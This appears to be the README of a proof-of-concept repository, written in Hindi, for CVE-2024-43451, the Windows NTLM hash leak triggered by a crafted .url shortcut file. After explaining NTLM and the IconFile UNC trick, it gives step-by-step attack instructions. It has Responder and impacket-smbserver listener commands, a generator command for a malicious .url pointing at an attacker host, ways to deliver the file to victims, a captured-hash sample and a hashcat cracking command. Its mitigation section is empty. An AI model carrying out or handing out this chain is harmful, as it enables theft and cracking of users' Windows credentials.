CVE-2024-43451 — Windows NTLM हैश प्रकटीकरण स्पूफिंग भेद्यता

अवलोकन

CVE-2024-43451 Windows में एक NTLMv2 हैश प्रकटीकरण स्पूफिंग भेद्यता है। यह एक अनधिकृत दूरस्थ हमलावर को एक दुर्भावनापूर्ण .url शॉर्टकट फ़ाइल के साथ इंटरैक्ट करने के लिए प्रेरित करके पीड़ित के NTLM हैश को लीक करने की अनुमति देता है। यह भेद्यता न्यूनतम उपयोगकर्ता इंटरैक्शन के साथ ट्रिगर होती है — केवल फ़ाइल पर राइट-क्लिक करना, उसे हटाना या स्थानांतरित करना हैश लीक करने के लिए पर्याप्त है। इसका CVSS स्कोर 6.5 (मध्यम) है और इसे सक्रिय रूप से वास्तविक दुनिया में शोषित किया गया है। CISA ने इसे Known Exploited Vulnerabilities (KEV) कैटलॉग में जोड़ा।

तकनीकी विवरण

NTLM प्रमाणीकरण

NTLM (NT LAN Manager) एक चुनौती-प्रतिक्रिया प्रमाणीकरण प्रोटोकॉल है जिसका उपयोग Windows करता है। जब कोई क्लाइंट SMB के माध्यम से किसी संसाधन तक पहुँचने का प्रयास करता है, तो क्लाइंट और सर्वर एक हैंडशेक करते हैं:

1. क्लाइंट एक NEGOTIATE_MESSAGE भेजता है जिसमें समर्थित क्षमताएँ होती हैं।
2. सर्वर एक CHALLENGE_MESSAGE के साथ प्रतिक्रिया देता है जिसमें एक 8-बाइट नॉन्स (सर्वर चुनौती) होता है।
3. क्लाइंट एक AUTHENTICATE_MESSAGE के साथ प्रतिक्रिया देता है जिसमें NTLMv2 हैश होता है — चुनौती का एक HMAC-MD5 जो उपयोगकर्ता के पासवर्ड हैश, उपयोगकर्ता नाम और डोमेन के साथ संयुक्त होता है।

यदि कोई हमलावर अपने नियंत्रण वाली मशीन पर NTLM प्रमाणीकरण प्रयास को देख या ट्रिगर कर सकता है, तो कैप्चर किया गया AUTHENTICATE_MESSAGE ऑफ़लाइन क्रैक करके सादा पाठ पासवर्ड प्राप्त किया जा सकता है।

.url फ़ाइल प्रारूप

.url फ़ाइल एक शॉर्टकट फ़ाइल है जिसका उपयोग Internet Explorer और Windows Explorer लिंक संग्रहीत करने के लिए करते हैं। यह एक INI-स्वरूपित फ़ाइल है जिसमें [InternetShortcut] अनुभाग होता है। शोषण के लिए महत्वपूर्ण फ़ील्ड हैं:

• URL= — वह लक्ष्य URL जिसे Windows खोलेगा।
• IconFile= — एक आइकन संसाधन के लिए एक वैकल्पिक UNC पथ। जब Windows Explorer फ़ाइल प्रस्तुत करता है, तो यह स्वचालित रूप से दूरस्थ शेयर से आइकन प्राप्त करने का प्रयास करता है, जो हमलावर के सर्वर पर NTLM प्रमाणीकरण प्रयास को ट्रिगर करता है।

हमला वेक्टर

हमलावर एक .url फ़ाइल तैयार करता है जिसमें IconFile पैरामीटर \\attacker-ip\share\icon.ico की ओर इंगित करता है। जब पीड़ित:

• फ़ाइल पर राइट-क्लिक करता है (Windows Explorer संदर्भ मेनू के लिए आइकन प्राप्त करता है),
• फ़ाइल को स्थानांतरित या कॉपी करता है (आइकन फिर से पढ़ा जाता है), या
• फ़ाइल को हटाता है (रीसायकल बिन डायलॉग के लिए आइकन प्राप्त किया जाता है),

Windows Explorer UNC पथ से आइकन लोड करने का प्रयास करता है, जिससे पीड़ित का NTLMv2 हैश हमलावर के SMB लिसनर (जैसे, Responder) को भेजा जाता है।

प्रभावित संस्करण

नवंबर 2024 पैच मंगलवार अपडेट से पहले Windows के सभी समर्थित संस्करण:

• Windows 10 (सभी संस्करण)
• Windows 11
• Windows Server 2016 / 2019 / 2022 / 2025
• Windows Server 2008 / 2012 R2
• पुराने असमर्थित संस्करण भी संभवतः असुरक्षित हैं लेकिन उन्हें पैच नहीं मिलेंगे।

शोषण सेटअप

आवश्यकताएँ

• हमलावर मशीन: SMB कैप्चर टूल वाला Linux या Windows (जैसे, Responder, Impacket का smbserver, या Inveigh)।
• पीड़ित मशीन: कोई भी अनपैच्ड Windows सिस्टम।
• नेटवर्क एक्सेस: पीड़ित को पोर्ट 445 (SMB) पर हमलावर के IP तक पहुँचने में सक्षम होना चाहिए।

उपकरण

पुनरुत्पादन चरण

1. SMB लिसनर प्रारंभ करें (हमलावर मशीन)

Responder का उपयोग करना:

sudo responder -I eth0 -v

या Impacket का उपयोग करना:

sudo impacket-smbserver share . -smb2support

2. दुर्भावनापूर्ण .url फ़ाइल उत्पन्न करें

python exploit.py --ip 192.168.1.100 --output malicious.url

3. फ़ाइल को पीड़ित तक पहुँचाएँ

• ईमेल अनुलग्नक, USB ड्रॉप, फ़ाइल शेयर, या वेब डाउनलोड।

4. पीड़ित इंटरैक्शन

निम्नलिखित में से कोई भी क्रिया हैश लीक को ट्रिगर करती है:

• राइट-क्लिक → संदर्भ मेनू के लिए आइकन प्राप्त होता है → NTLM हैंडशेक हमलावर को भेजा जाता है
• हटाना → पुष्टिकरण डायलॉग के लिए आइकन प्राप्त होता है
• स्थानांतरित/कॉपी करना → आइकन UNC पथ से फिर से पढ़ा जाता है
• केवल फ़ोल्डर को विवरण या आइकन दृश्य में देखना (आइकन लोडिंग)

5. हैश कैप्चर करें

हमलावर का SMB लिसनर एक NTLMv2 हैश प्राप्त करता है:

[SMB] NTLMv2-SSP Hash     : victim::DOMAIN:1122334455667788:0123456789abcdef0123456789abcdef:010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

6. हैश क्रैक करें (ऑफ़लाइन)

hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt

प्रूफ ऑफ कॉन्सेप्ट

# See exploit.py in this repository for a full PoC implementation.
# The script generates a .url file with IconFile set to:
#   \\192.168.1.100\share\icon.ico
# and optionally a custom display icon via IconIndex.

शमन

संदर्भ

• Microsoft Security Response Center — CVE-2024-43451
• CISA Known Exploited Vulnerabilities Catalog
• NVD — CVE-2024-43451
• Responder — GitHub
• Impacket — GitHub
• The Hacker News — Ukrainian targeted attacks
• UAC-0194 / SparkRAT campaign analysis